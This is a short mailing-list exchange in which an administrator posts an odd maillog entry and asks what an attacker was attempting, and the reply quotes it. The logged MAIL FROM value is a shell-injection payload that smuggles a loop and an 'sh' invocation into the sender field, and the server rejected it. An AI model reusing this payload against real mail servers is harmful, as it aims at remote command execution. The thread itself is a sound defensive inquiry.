Re: mail log oddity

2020-06-10 Thread Ryan Kavanagh
On Wed, Jun 10, 2020 at 10:00:08PM -0500, Edgar Pettijohn wrote: > Saw this in the maillog today. Any ideas what they are trying to do? > > 249c054a86af9328 smtp failed-command command="MAIL FROM: <;for i in 0 1 2 3 > 4 5 6 7 8 9 a b c d;do read r;done;sh;exit 0;>" result="530 5.5.1 Invalid >

mail log oddity

2020-06-10 Thread Edgar Pettijohn
Saw this in the maillog today. Any ideas what they are trying to do? 249c054a86af9328 smtp failed-command command="MAIL FROM: <;for i in 0 1 2 3 4 5 6 7 8 9 a b c d;do read r;done;sh;exit 0;>" result="530 5.5.1 Invalid command: Must issue an AUTH command first" Edgar